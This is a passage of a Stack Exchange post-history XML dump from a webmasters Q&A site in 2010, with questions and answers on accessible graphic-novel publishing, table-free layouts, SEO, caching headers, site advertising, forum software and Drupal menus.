  <row Id="12049" PostHistoryTypeId="2" PostId="6031" RevisionGUID="4d4578a7-37ed-4178-a970-5f8095fbf696" CreationDate="2010-11-29T14:40:21.483" UserId="3523" Text="My employer runs a writing contest every year. Every year we publish the top three results in each category to our website. No big deal. This year, a category has been added for a graphic novel.&#xD;&#xA;&#xD;&#xA;What standards and best practises are out there for publishing this to our site? I'm assuming a PDF would be terrible for accessibility. My gut instinct is just to scan it and put up JPGs. Would I be best to transcribe the text into paragraphs, or just leave it as alt text?&#xD;&#xA;&#xD;&#xA;Any help would be appreciated." />
  <row Id="12050" PostHistoryTypeId="1" PostId="6031" RevisionGUID="4d4578a7-37ed-4178-a970-5f8095fbf696" CreationDate="2010-11-29T14:40:21.483" UserId="3523" Text="Publishing A Graphic Novel Online?" />
  <row Id="12051" PostHistoryTypeId="3" PostId="6031" RevisionGUID="4d4578a7-37ed-4178-a970-5f8095fbf696" CreationDate="2010-11-29T14:40:21.483" UserId="3523" Text="&lt;images&gt;&lt;accessibility&gt;&lt;semantic-web&gt;" />
  <row Id="12052" PostHistoryTypeId="2" PostId="6032" RevisionGUID="d454da78-4572-44fc-bcca-d6bf83c21237" CreationDate="2010-11-29T14:53:14.127" UserId="3522" Text="I am an SEO Professional and highly recommend you learn a fair share of SEO yourself before you hire anyone. A lot depends on the keywords you are going for and their level of competition. What you are asking leaves you open to being misled.&#xD;&#xA;&#xD;&#xA;A lot of these companies advertising first page results may get you first page results in the long tail that likely get little to no actual searches. It is very easy to twist analytical data to show results that don't really exist. I have heard some horror stories in this area where companies throw away tens of thousands of dollars on campaigns that were never actually meant to get actual results. That is why I recommend googling seo-moz and skimming through the beginners guides. I think its still free.&#xD;&#xA;&#xD;&#xA;I know this may not be the exact answer you were looking for but I thought it should be said. " />
  <row Id="12053" PostHistoryTypeId="2" PostId="6033" RevisionGUID="1e3db01e-cb1a-476e-87fb-b5ea746b02c3" CreationDate="2010-11-29T14:59:30.743" UserId="3467" Text="Oof, that's a tough one. It's really hard to present something like a graphic novel with good accessibility. Images are a lot better than PDF though, you're right about that one. Also, I wouldn't recommend putting the entire description of each pane as an alt text, let alone entire page. I think the best way would be to add paragraphs with transcripts and use the alt as an indicator of what the picture is (`alt=&quot;graphic novel x, page y&quot;`).&#xD;&#xA;&#xD;&#xA;Maybe it'd be an idea to have it read aloud and provide it as an audio file as well?&#xD;&#xA;" />
  <row Id="12054" PostHistoryTypeId="5" PostId="6032" RevisionGUID="de79f253-31ad-45c4-ae68-fd52edc3825a" CreationDate="2010-11-29T14:59:59.643" UserId="3522" Comment="added 162 characters in body" Text="I am an SEO Professional and highly recommend you learn a fair share of SEO yourself before you hire anyone. A lot depends on the keywords you are going for and their level of competition. What you are asking leaves you open to being misled.&#xD;&#xA;&#xD;&#xA;A lot of these companies advertising first page results may get you first page results in the long tail that likely get little to no actual searches. What you likely need is a strategy that uses achievable long tail phrases to generate traffic while you work on a strategy to go for better keywords/phrases. &#xD;&#xA;&#xD;&#xA;It is very easy to twist analytical data to show results that don't really exist. I have heard some horror stories in this area where companies throw away tens of thousands of dollars on campaigns that were never actually meant to get actual results. That is why I recommend googling seo-moz and skimming through the beginners guides. I think its still free.&#xD;&#xA;&#xD;&#xA;I know this may not be the exact answer you were looking for but I thought it should be said. " />
  <row Id="12055" PostHistoryTypeId="2" PostId="6034" RevisionGUID="01f66836-ef1d-45e9-89ee-8fc176b0b132" CreationDate="2010-11-29T15:00:31.943" UserId="3467" Text="You could try giving the button a `text-indent: 9999px'" />
  <row Id="12056" PostHistoryTypeId="2" PostId="6035" RevisionGUID="f0d37ce5-9473-4a86-a5e2-31a08148c0be" CreationDate="2010-11-29T15:12:11.003" UserId="3522" Text="I can't vote up Vic because I Don't have the rep yet, but he is right. I am very familiar with Joomla and know what you're talking about. These are features you won't use/need in codding a static site.&#xD;&#xA;&#xD;&#xA;What you need for an optimized static site is&#xD;&#xA;&#xD;&#xA; - standards compliant html&#xD;&#xA; - good informative and key phrase rich title tags &lt;title&gt;&lt;/title&gt;&#xD;&#xA; - good legible urls mysite.com/short-informative-text-here.html&#xD;&#xA; - good meta descriptions&#xD;&#xA; - proper use of h1,h2,h3&#xD;&#xA; - informative relevant paragraph text&#xD;&#xA;&#xD;&#xA;This is just a quick list I could think of off the top of my head, do these few things and I promise your site will do better than it will in most Joomla situations." />
  <row Id="12057" PostHistoryTypeId="5" PostId="6034" RevisionGUID="2d904926-03a7-4d44-9e81-30a873d8c9a8" CreationDate="2010-11-29T15:22:06.547" UserId="3467" Comment="added 1 characters in body" Text="You could try giving the button a `text-indent: -9999px'" />
  <row Id="12058" PostHistoryTypeId="2" PostId="6036" RevisionGUID="7cfab8ff-c4b8-4225-b831-790fdd66fa85" CreationDate="2010-11-29T15:28:00.617" UserId="1725" Text="What are some clear and logical reasons for why we shouldn't be designing websites with tables? Where are the benefits, what has been driving this idea in the industry? When is it okay to use a table?" />
  <row Id="12059" PostHistoryTypeId="1" PostId="6036" RevisionGUID="7cfab8ff-c4b8-4225-b831-790fdd66fa85" CreationDate="2010-11-29T15:28:00.617" UserId="1725" Text="Why aren't we supposed to use &lt;table&gt; in a design?" />
  <row Id="12060" PostHistoryTypeId="3" PostId="6036" RevisionGUID="7cfab8ff-c4b8-4225-b831-790fdd66fa85" CreationDate="2010-11-29T15:28:00.617" UserId="1725" Text="&lt;html&gt;&lt;css&gt;&lt;website-design&gt;&lt;database&gt;" />
  <row Id="12061" PostHistoryTypeId="2" PostId="6037" RevisionGUID="779c5654-a1bf-4cc8-a76a-d7005256eeee" CreationDate="2010-11-29T15:35:42.583" UserId="1253" Text="1) Tables shouldn't be used for page layouts because they are:&#xD;&#xA;&#xD;&#xA; - Slow to render as the browser needs to download most, if not all of the table to render it properly&#xD;&#xA;&#xD;&#xA; - They require more HTML then non-table layouts which means slower loading and rendering&#xD;&#xA;&#xD;&#xA; - They can be a nightmare to maintain as they can get complex quickly&#xD;&#xA;&#xD;&#xA; - They are not as flexible as using proper semantic markup&#xD;&#xA;&#xD;&#xA; - They were never intended to be used for page layouts&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;2) Use a table for tabular data. That's what tables are for. " />
  <row Id="12062" PostHistoryTypeId="2" PostId="6038" RevisionGUID="3096dab0-d4ac-4e3a-b374-eff31bda65c9" CreationDate="2010-11-29T15:35:55.033" UserId="218" Text="Extensively discussed on SO [http://stackoverflow.com/questions/83073/why-not-use-tables-for-layout-in-html][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://stackoverflow.com/questions/83073/why-not-use-tables-for-layout-in-html" />
  <row Id="12063" PostHistoryTypeId="2" PostId="6039" RevisionGUID="85a500db-5515-4147-b055-16ed01e36d97" CreationDate="2010-11-29T16:31:47.050" UserId="3506" Text="Tables are supposed to contain data, and not design elements." />
  <row Id="12064" PostHistoryTypeId="2" PostId="6040" RevisionGUID="d8e77866-f32d-42cc-8099-44dc99c6adbb" CreationDate="2010-11-29T16:49:32.480" UserId="3453" Text="Are you familiar with the DjVu format?&#xD;&#xA;&#xD;&#xA;If not, this [link][1] might be useful for you. Also, [here][2] is the official website which is also a great resource.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/DjVu&#xD;&#xA;  [2]: http://djvu.org/resources/whatisdjvu.php" />
  <row Id="12065" PostHistoryTypeId="2" PostId="6041" RevisionGUID="bfa03b2a-c3f9-4e02-9006-c278c6581620" CreationDate="2010-11-29T16:49:57.563" UserId="1953" Text="IF you have a site with any amount of content on it you'll want to use a CMS. If you're set on writing a static html site, then you can easily create tags by hand, tags are essentially navigational links used to group articles, so for each tag you would create a page (like tag1.html) and each time you want something included in that tag you would open up tag1.html and add it to the top. When it gets too long and you want to paginate the tag1.html you just add tag1-1.html and a link to it on the bottom of tag1.html. This is not an efficient way to do things if you plan on adding content regularly, so I'd highly recommend looking at other CMS options that may be easier for you to customize many people recommend thesis theme for wordpress as it lets you customize just about anything from the admin dashboard (I have not used it myself but it seems like just about everyone and their brother is recommending specifically because of it's flexibility)." />
  <row Id="12066" PostHistoryTypeId="2" PostId="6043" RevisionGUID="ae7a3c39-01c2-4fad-bc1c-9d1441a4e4bc" CreationDate="2010-11-29T12:25:03.413" UserId="1433" Text="consider a service like S3 where there is redundancy at a backup level. &#xD;&#xA;&#xD;&#xA;Also, as your customer's data is critical, its best you encrypt your data before storing it anywhere outside your vicinity. " />
  <row Id="12067" PostHistoryTypeId="2" PostId="6042" RevisionGUID="ae862b3a-0dd7-45cd-a916-961d632d724c" CreationDate="2010-11-29T10:02:09.400" UserDisplayName="marcamillion" Text="If you run a SaaS app, or work on one, I would love to hear from you. Where the safety and security of your customer's data is paramount, how do you secure it and back it up? I would love to know your main host (e.g. Heroku, Engine Yard, Rackspace, MediaTemple, etc.) and who you use for your backup.&#xD;&#xA;&#xD;&#xA;Be as detailed as possible - e.g. a quick overview of your service and the data you store (images for instance), what happens with the images when the user uploads them (e.g. they go to your Linode VPS, and posted to the site for them to see - then they are automatically sent to AWS or wherever, then once a week they are backed up to tape by the managed hosting provider, and you also back them up to your house/office).&#xD;&#xA;&#xD;&#xA;If you could also give some idea as to what the unit cost (per GB/per user/per month) of storage is - on average, I would really appreciate that.&#xD;&#xA;&#xD;&#xA;Getting ready to launch my app, and I would love to get some more perspective on the nitty gritty details involved.&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="12068" PostHistoryTypeId="1" PostId="6042" RevisionGUID="ae862b3a-0dd7-45cd-a916-961d632d724c" CreationDate="2010-11-29T10:02:09.400" UserDisplayName="marcamillion" Text="How do I backup my customer's data?" />
  <row Id="12069" PostHistoryTypeId="3" PostId="6042" RevisionGUID="ae862b3a-0dd7-45cd-a916-961d632d724c" CreationDate="2010-11-29T10:02:09.400" UserDisplayName="marcamillion" Text="&lt;backups&gt;" />
  <row Id="12070" PostHistoryTypeId="17" PostId="6042" RevisionGUID="cc20d5df-b579-44aa-ab44-8bf9811bfa79" CreationDate="2010-11-29T16:54:35.370" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/9762/how-do-i-backup-my-customers-data" Text="" />
  <row Id="12071" PostHistoryTypeId="2" PostId="6044" RevisionGUID="b45a8cda-bb7c-4ebb-b652-f7bd1c779e99" CreationDate="2010-11-29T16:55:30.493" UserId="3453" Text="I use the following:&#xD;&#xA;&#xD;&#xA;    ExpiresActive on&#xD;&#xA;    ExpiresDefault &quot;access plus 24 hours&quot;&#xD;&#xA;    ExpiresByType image/jpg &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType image/gif &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType image/jpeg &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType image/png &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType text/css &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType text/javascript &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType application/javascript &quot;access plus 1 months&quot;&#xD;&#xA;    ExpiresByType application/x-shockwave-flash &quot;access plus 24 hours&quot;&#xD;&#xA;It's quite easier to maintain." />
  <row Id="12072" PostHistoryTypeId="2" PostId="6045" RevisionGUID="5b0082ff-9a26-48d2-aa8d-5744a0b904ea" CreationDate="2010-11-29T18:32:41.403" UserId="2707" Text="Well, since you can do anything, I'd go somewhat detailed, like so:&#xD;&#xA;&#xD;&#xA;`http://blogurl.com/archive/2010/jan/post-name`&#xD;&#xA;&#xD;&#xA;This URL is based both off of personal preference and some assumed &lt;i&gt;(read: logical guesses)&lt;/i&gt; SEO tactics.&#xD;&#xA;&lt;ol&gt;&#xD;&#xA;&lt;li&gt;I like having human readable URLs. In my mind, what is good for us, is good for crawlers.&lt;/li&gt;&#xD;&#xA;&lt;li&gt;I always leave the www out of my URL. Some my disagree, but for a blog, this just adds more characters to your URL, which can affect your SEO (very little).&lt;/li&gt;&#xD;&#xA;&lt;li&gt;As it is a personal blog (I assume), you probably don't do more than 10 posts a day, so I see it as unnecessary to include the date in your URL. The month and year are very helpful though.&lt;/li&gt;&#xD;&#xA;&lt;/ol&gt;&#xD;&#xA;I'd advise against any structure like:&#xD;&#xA;&#xD;&#xA;`http://blogurl.com/post-title` or `http://blogurl.com/archive/post-title`&#xD;&#xA;&#xD;&#xA;if you are using Wordpress. If you choose this, it can hurt Wordpress' performance." />
  <row Id="12073" PostHistoryTypeId="2" PostId="6046" RevisionGUID="ab0fd410-f084-475a-92ee-bfeea554926a" CreationDate="2010-11-29T18:45:19.167" UserId="1286" Text="I'm in the midst of creating a couple of personally owned sites.  Neither are aimed to be the next Facebook/Twitter/whatever, but I'd like to be able to make some money off of them, at the very least to cover a portion of my hosting costs.  The problem is, I'm not sure where to look.  I know of things like AdSense and other PPC 3rd party advertisers, but am worried about their relevancy.  I don't want ads for things that aren't at least tangentially related to my content.  I'm also concerned that these generated ads will be ugly, and detract from my site.&#xD;&#xA;&#xD;&#xA;And, to clarify, I'm looking for ads to display on my sites, not for a service to advertise my sites on other sites.&#xD;&#xA;&#xD;&#xA;So, what would you (the collective you) suggest as the best bang for my buck?  Ideally, I'd grow to a point where I could get direct advertising, but that's definitely a long term goal." />
  <row Id="12074" PostHistoryTypeId="1" PostId="6046" RevisionGUID="ab0fd410-f084-475a-92ee-bfeea554926a" CreationDate="2010-11-29T18:45:19.167" UserId="1286" Text="Advertising - what are my options when just starting out?" />
  <row Id="12075" PostHistoryTypeId="3" PostId="6046" RevisionGUID="ab0fd410-f084-475a-92ee-bfeea554926a" CreationDate="2010-11-29T18:45:19.167" UserId="1286" Text="&lt;advertising&gt;" />
  <row Id="12076" PostHistoryTypeId="2" PostId="6047" RevisionGUID="eb2cc93e-76f7-4c32-9833-3019c9fe821b" CreationDate="2010-11-29T18:57:04.823" UserId="2629" Text="I would say AdSense is a great place to start (but not to end up with), in small sites, there un-expensive, easy to manage and with enough traffic, profitable!&#xD;&#xA;&#xD;&#xA;Eventually affiliate systems and direct ads, will be necessary, but not until you have sever hundred* daily visits.&#xD;&#xA;&#xD;&#xA;Good luck!" />
  <row Id="12077" PostHistoryTypeId="2" PostId="6048" RevisionGUID="625b7afa-9e81-49c6-8107-4828261e04b9" CreationDate="2010-11-29T19:22:38.810" UserId="2821" Text="How can I get the web page load speed and data amount in Internet Explorer? I know about PageSpeed and Firebug for Firefox, is there an equivalent of those tools for IE?" />
  <row Id="12078" PostHistoryTypeId="1" PostId="6048" RevisionGUID="625b7afa-9e81-49c6-8107-4828261e04b9" CreationDate="2010-11-29T19:22:38.810" UserId="2821" Text="web page performance testing in Internet Explorer" />
  <row Id="12079" PostHistoryTypeId="3" PostId="6048" RevisionGUID="625b7afa-9e81-49c6-8107-4828261e04b9" CreationDate="2010-11-29T19:22:38.810" UserId="2821" Text="&lt;performance&gt;&lt;websites&gt;&lt;internet-explorer&gt;&lt;internet-explorer-6&gt;" />
  <row Id="12080" PostHistoryTypeId="5" PostId="5942" RevisionGUID="9a053e9f-c755-44ff-bbe0-d8529124b2d8" CreationDate="2010-11-29T20:01:44.020" UserId="3265" Comment="rephrased for clarity &amp; to add additionally discovered information" Text="**Background to problem**&#xD;&#xA;&#xD;&#xA;I was using the Facebook comments social plugin without a Facebook application ID (on Drupal with Facebook social plugin module);  it was working just fine like this. &#xD;&#xA;&#xD;&#xA;I later decided to get and use a Facebook application ID from http://developers.facebook.com/setup/ to enable comment moderation.&#xD;&#xA;&#xD;&#xA;Since I did this, however, *all the Facebook comments that were entered onto my site before I used the application ID have disappeared*.&#xD;&#xA;&#xD;&#xA;I tried removing the ID from Drupal module (as it was before) but that made the Facebook comment box no longer load on my website (even though it worked before I got the ID) so the comments box now no longer works without the app ID.&#xD;&#xA;&#xD;&#xA;The [Facebook reference][1] says that the default ID for the comments box is the URL-encoded page URL so I assume that the comments that were lost are associated with this ID and will no longer show if I am using a Facebook application ID.&#xD;&#xA;&#xD;&#xA;This *may* be an issue with the Drupal module, I am not 100% sure, but I think it is more to do with Facebook's poorly designed implementation of the comments integration system.&#xD;&#xA;&#xD;&#xA;**Questions:**&#xD;&#xA;&#xD;&#xA; 1. Can somebody please confirm the reason for the disappearance of the old comments, or say what otherwise is the reason?&#xD;&#xA;&#xD;&#xA; 2. Is there any way to now get the old comments (pre-application Id) back onto my website (preferably while still using the newly obtained app ID)?&#xD;&#xA;&#xD;&#xA;Many thanks.&#xD;&#xA;&#xD;&#xA;  [1]: http://developers.facebook.com/docs/reference/plugins/comments" />
  <row Id="12081" PostHistoryTypeId="2" PostId="6049" RevisionGUID="98ddff74-e999-4483-b759-d14d42f34b2c" CreationDate="2010-11-29T20:23:35.750" UserId="3533" Text="I would recommend [dynaTrace AJAX Edition][1] for testing page performance in IE6+. It's a free download (although you have to create an account to actually get a download link) and hooks in to the browser to get low-level timings of network, rendering, scripting, and other metrics.&#xD;&#xA;&#xD;&#xA;It can also show you *what* is taking the largest amount of time.&#xD;&#xA;&#xD;&#xA;This tool has been invaluable to me since the site I work on requires IE6 support and performance is critical.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://ajax.dynatrace.com/ajax/en/" />
  <row Id="12082" PostHistoryTypeId="2" PostId="6050" RevisionGUID="279ba474-1a36-4829-ae6e-1ab6a654a380" CreationDate="2010-11-29T20:30:03.127" UserId="3536" Text="The weirdest thing has just occurred. I did a google search and once the page had rendered I could see double f's had been replaced with a strange script font. Even weirder, once I chose to have a look using Firebug, the strange script font appeared there also. Why is this?&#xD;&#xA;&#xD;&#xA;I've attached a picture of what I saw.![alt text][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;P.S. The Search was for &quot;[wget facebook][2]&quot; and I'm using Firefox 3.6 on Mac OS X 10.5&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/huM03.jpg&#xD;&#xA;  [2]: http://www.google.co.uk/search?hl=en&amp;safe=off&amp;client=firefox-a&amp;hs=SUV&amp;rls=org.mozilla%3Aen-US%3Aofficial&amp;q=wget+facebook&amp;aq=f&amp;aqi=g1&amp;aql=&amp;oq=&amp;gs_rfai=" />
  <row Id="12083" PostHistoryTypeId="1" PostId="6050" RevisionGUID="279ba474-1a36-4829-ae6e-1ab6a654a380" CreationDate="2010-11-29T20:30:03.127" UserId="3536" Text="Strange script font appearing in Google search results and Firebug" />
  <row Id="12084" PostHistoryTypeId="3" PostId="6050" RevisionGUID="279ba474-1a36-4829-ae6e-1ab6a654a380" CreationDate="2010-11-29T20:30:03.127" UserId="3536" Text="&lt;google&gt;&lt;firefox&gt;" />
  <row Id="12085" PostHistoryTypeId="5" PostId="6029" RevisionGUID="b4829334-2f71-4bf4-9d2b-4ccec0aea378" CreationDate="2010-11-29T20:31:41.350" UserId="1955" Comment="added 181 characters in body" Text="There are several options:&#xD;&#xA;&#xD;&#xA;1) wait the domain to be dropped and buy it then (if it is really good domain that may be a hard work(check Litso`s answer)&#xD;&#xA;&#xD;&#xA;2) if you have legal(law) possession of the word(trade mark, company name etc.) you can claim the registrar to give you the domain control - this can be a slow and painful procedure and I am not sure that every registrar do it&#xD;&#xA;&#xD;&#xA;3) you can make regular checks on website that sell expired domains(or ones that will expire soon).&#xD;&#xA;&#xD;&#xA;4) there are some really good domains on sale, this is expensive option but depending from the aim it can be really profitable&#xD;&#xA;&#xD;&#xA;**UPDATE:** Check this question http://webmasters.stackexchange.com/questions/3548/how-important-is-the-domain-name-for-seo it may make you reconsider the need of &quot;super&quot; domain" />
  <row Id="12086" PostHistoryTypeId="2" PostId="6051" RevisionGUID="72d4670b-f3b1-4e92-b2f1-677da0d4a525" CreationDate="2010-11-29T20:44:23.077" UserId="3453" Text="The font is different here, too.&#xD;&#xA;It's not like yours but it's notably different. Seems the problem isn't in your computer." />
  <row Id="12087" PostHistoryTypeId="2" PostId="6052" RevisionGUID="91f7143a-f431-4595-9ca7-8b4592c97abc" CreationDate="2010-11-29T20:55:36.687" UserId="3535" Text="Also, you could take a peek at the template file for the different pages. Depending on how your site is set up, there's likely a code/comment that calls for the &quot;Continue Reading&quot; tag. In WordPress for example, by default the &lt;!--more--&gt; quicktag is what you'd be looking for. " />
  <row Id="12088" PostHistoryTypeId="2" PostId="6053" RevisionGUID="eb4462f3-da78-435d-ae0d-6e824a497a2b" CreationDate="2010-11-29T20:55:37.760" UserId="26" Text="The character is &quot;ﬃ&quot;: [`Unicode Character 'LATIN SMALL LIGATURE FFI' (U+FB03)`][1]&#xD;&#xA;&#xD;&#xA;Why your computer is choosing a script font to handle it, I'd check your localization and internationalization settings for your computer.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.fileformat.info/info/unicode/char/fb03/index.htm" />
  <row Id="12089" PostHistoryTypeId="2" PostId="6054" RevisionGUID="2c7b3f9e-c853-4d64-b9eb-c7417d05847b" CreationDate="2010-11-29T21:10:40.207" UserId="3535" Text="Dave's answer would probably be the best route to take. If you wanted to use the &quot;Become a ninja&quot; text instead in the usual spot, I'd still look at having &quot;Log in/Sign Up&quot; listed next to it, just styled in a smaller/different font." />
  <row Id="12090" PostHistoryTypeId="2" PostId="6055" RevisionGUID="3d7fbf05-5d60-42c8-bb34-e3ea6d210ce9" CreationDate="2010-11-29T21:28:53.660" UserId="3539" Text="It seems to be happening on firefox 4 as well" />
  <row Id="12091" PostHistoryTypeId="2" PostId="6056" RevisionGUID="ab7da157-ebdf-441b-a575-58be1111d118" CreationDate="2010-11-29T21:33:17.327" UserId="3539" Text="You could try [project wonderful][1], it has a pretty unique model. It's really transparent, and it's a relatively rare opportunity to get pay-per-view ads even on a small site.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.projectwonderful.com/ &quot;project wonderful&quot;" />
  <row Id="12095" PostHistoryTypeId="2" PostId="6058" RevisionGUID="8dcc5b46-36e0-4eca-8b54-6b2a035f80a3" CreationDate="2010-11-29T21:59:08.920" UserId="2707" Text="I saw some really crazy graphic novel + `canvas` experiments from Google a while ago. All the text was plain text (great accessiblity) but all the images could be plainly seen. I can't seem to find it, but &lt;a href=&quot;http://www.20thingsilearned.com/&quot;&gt;20 Things I Learned&lt;/a&gt; shows kind of what I mean.&#xD;&#xA;&#xD;&#xA;I'd say that's overkill for what you want to do, so I'd do this:&#xD;&#xA;&#xD;&#xA;    &lt;img src=&quot;page1.jpg&quot; alt=&quot;Page 1&quot; width=&quot;800&quot; height=&quot;1000&quot; /&gt;&#xD;&#xA;    &lt;div class=&quot;hidden&quot;&gt;&#xD;&#xA;    &lt;h1&gt;Panel 1&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;Name1: Lorem ipsum....&lt;/p&gt;&#xD;&#xA;    &lt;p&gt;Name2: Lorem ipsum....&lt;/p&gt;&#xD;&#xA;    &lt;strong&gt;WOOSH&lt;/strong&gt;&lt;!-- Sound Effect --&gt;&#xD;&#xA;    &lt;h1&gt;Panel 2&lt;/h1&gt;&#xD;&#xA;    &lt;p&gt;Name1: &lt;em&gt;Lorem ipsum....&lt;/em&gt;&lt;!-- Emphasis on words --&gt;&#xD;&#xA;    &lt;!-- And so on --&gt;&#xD;&#xA;    &lt;/div&gt;&#xD;&#xA;&#xD;&#xA;And I'd style the div as such:&#xD;&#xA;&#xD;&#xA;    .hidden { text-indent: -9999em; }&#xD;&#xA;&#xD;&#xA;In this way, you have the image plainly visible for seeing people to view and the plain text for screen readers to read aloud. One could also put a transcription of the comic in the `alt` tag, but in my way, you are able to put more semantic meaning into the transcription.&#xD;&#xA;&#xD;&#xA;You could also add some Javascript to toggle the `text-indent` to make it visible if people hard of seeing want to see it." />
  <row Id="12096" PostHistoryTypeId="2" PostId="6059" RevisionGUID="c15ac852-43bc-460d-b70f-a5bcfabac48b" CreationDate="2010-11-29T22:04:50.823" UserDisplayName="David Thompson" Text="we want to migrate our sites current forum (proprietary built) to a newer, more modern (feature rich) platform. I've been looking around at the available options and have narrowed it down to vBulletin, Vanilla or Phorum (unless you have another suggestion ?). I hope someone here can give me some feedback on their experiences either migrating to a new forum or working deeply with one.&#xD;&#xA;&#xD;&#xA;The current forum we have has approx 2.2 million threads in it and is contained in a MySQL database. Data Migration is obviously the first issue, is one of the major Forum vendors better or worse in this regard ?&#xD;&#xA;&#xD;&#xA;The software needs to be able to be clustered and cached to ensure availability and performance.&#xD;&#xA;&#xD;&#xA;We want it to be PHP based and store it's data in MySQL.&#xD;&#xA;&#xD;&#xA;The code needs to be open to allow us to highly customise the software both to strip out a lot of stuff and be able to integrate our sites features. A lot of the forums I've looked at have a lot of duplicate features to our main site, in particular member management, profiles etc. I realise we'll have to do a good bit of development in removing these and tieing it all back to the main site so we want to find a platform that makes this kind of integration as easy as possible.&#xD;&#xA;&#xD;&#xA;Finally I guess if 'future proofing' the forum (as best as possible) given the above. Which platform will allow us to customise it but also allow us to keep instep with upgrades. Which forum software has the best track record for bringing online new features in a timely manner ? etc. etc.&#xD;&#xA;&#xD;&#xA;I know it's a big question but if anyone here has any experience in some or all of the above I'd be very grateful." />
  <row Id="12097" PostHistoryTypeId="1" PostId="6059" RevisionGUID="c15ac852-43bc-460d-b70f-a5bcfabac48b" CreationDate="2010-11-29T22:04:50.823" UserDisplayName="David Thompson" Text="Forum software advice needed" />
  <row Id="12098" PostHistoryTypeId="3" PostId="6059" RevisionGUID="c15ac852-43bc-460d-b70f-a5bcfabac48b" CreationDate="2010-11-29T22:04:50.823" UserDisplayName="David Thompson" Text="&lt;forum&gt;" />
  <row Id="12099" PostHistoryTypeId="2" PostId="6060" RevisionGUID="807ff3a3-7716-4f6b-9f62-9655fc6fadd9" CreationDate="2010-11-29T22:29:33.183" UserId="3542" Text="Tables should only be used when displaying tabular data.  Otherwise, they are usually a poor choice for display." />
  <row Id="12100" PostHistoryTypeId="2" PostId="6061" RevisionGUID="f72bc40b-2540-4a38-87dd-793c656cb28d" CreationDate="2010-11-29T23:21:42.570" UserId="3544" Text="My apologies up-front, as I've asked this question already on Doctype.com, but figure that this site is more appropriate. I've been trying to wrap my head around Drupal's menu system, with little progress. I've just started working with Drupal having come from using DotNetNuke.  Please, please, please help me understand this! The website has some backend functionality for authenticated users, and the following menu hierarchy resembles what the public-facing menu should look like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - Home&#xD;&#xA; - About Us&#xD;&#xA; - Services&#xD;&#xA;     - Counselling&#xD;&#xA;     - Career Guidance&#xD;&#xA; - News&#xD;&#xA;     - Chairman's Speeches&#xD;&#xA;     - Community News&#xD;&#xA;     - Gallery&#xD;&#xA; - Contact Us&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Before I continue, let me say that every item above is associated with a node of content-type &quot;page&quot;. Now, I have successfully got the &quot;Nice Menus&quot; module working, having created a new menu called &quot;Default Menu&quot; prior to that and adding only only one item called &quot;Home&quot; (linked to `&lt;front&gt;`). Thereafter, as I started creating my pages, I added it to the menu (and placing it in its rightful place in the menu hierarchy).  However, my issues are 3-fold:&#xD;&#xA;&#xD;&#xA; 1. I would very much like for the hierarchy to be followed in my URLs, which I would like to look like: **`www.mysite.com\services\counselling`**.  Furthermore, when I remove the word *`counselling`* from the URL, it should redirect me to the page for *`services`*.&#xD;&#xA; 2. Similar to the point above, but instead, how do I get my menu working with the breadcrumb? It stays on ***Home*** no matter which page I navigate to!&#xD;&#xA; 3. Lastly (this is more advice that I ask for), the first 2 links under **News** are essentially stories with either `chairman-speeches` or `community-news` as Tags. Is it possible that when a user clicks on **Chairman's Speeches** (for instance) that they can be redirected to a page that shows only stories tagged with `chairman-speeches` and similar for **Community News**?&#xD;&#xA;&#xD;&#xA;Sorry, this is a long post, and I AM a noob to Drupal and still trying to learn the ropes. I know Drupal has a steep learning curve, and believe me - I intend to sit and understand as much of it as possible. For now though, I would really, really appreciate your help with my issues above. In advance, THANK YOU ever so much!" />
  <row Id="12101" PostHistoryTypeId="1" PostId="6061" RevisionGUID="f72bc40b-2540-4a38-87dd-793c656cb28d" CreationDate="2010-11-29T23:21:42.570" UserId="3544" Text="Can't get menu working the way I would like to in Drupal 6" />
  <row Id="12102" PostHistoryTypeId="3" PostId="6061" RevisionGUID="f72bc40b-2540-4a38-87dd-793c656cb28d" CreationDate="2010-11-29T23:21:42.570" UserId="3544" Text="&lt;drupal&gt;&lt;menu&gt;&lt;breadcrumbs&gt;" />
  <row Id="12103" PostHistoryTypeId="5" PostId="6061" RevisionGUID="2b62d063-8ee9-4699-9b3f-92986fc5194f" CreationDate="2010-11-29T23:43:45.303" UserId="3544" Comment="solved one problem, added more info" Text="My apologies up-front, as I've asked this question already on Doctype.com, but figure that this site is more appropriate. I've been trying to wrap my head around Drupal's menu system, with little progress. I've just started working with Drupal having come from using DotNetNuke.  Please, please, please help me understand this! The website has some backend functionality for authenticated users, and the following menu hierarchy resembles what the public-facing menu should look like:&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA; - Home&#xD;&#xA; - About Us&#xD;&#xA; - Services&#xD;&#xA;     - Counselling&#xD;&#xA;     - Career Guidance&#xD;&#xA; - News&#xD;&#xA;     - Chairman's Speeches&#xD;&#xA;     - Community News&#xD;&#xA;     - Gallery&#xD;&#xA; - Contact Us&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Before I continue, let me say that every item above is associated with a node of content-type &quot;page&quot;. Now, I have successfully got the &quot;Nice Menus&quot; module working, having created a new menu called &quot;Default Menu&quot; prior to that and adding only only one item called &quot;Home&quot; (linked to 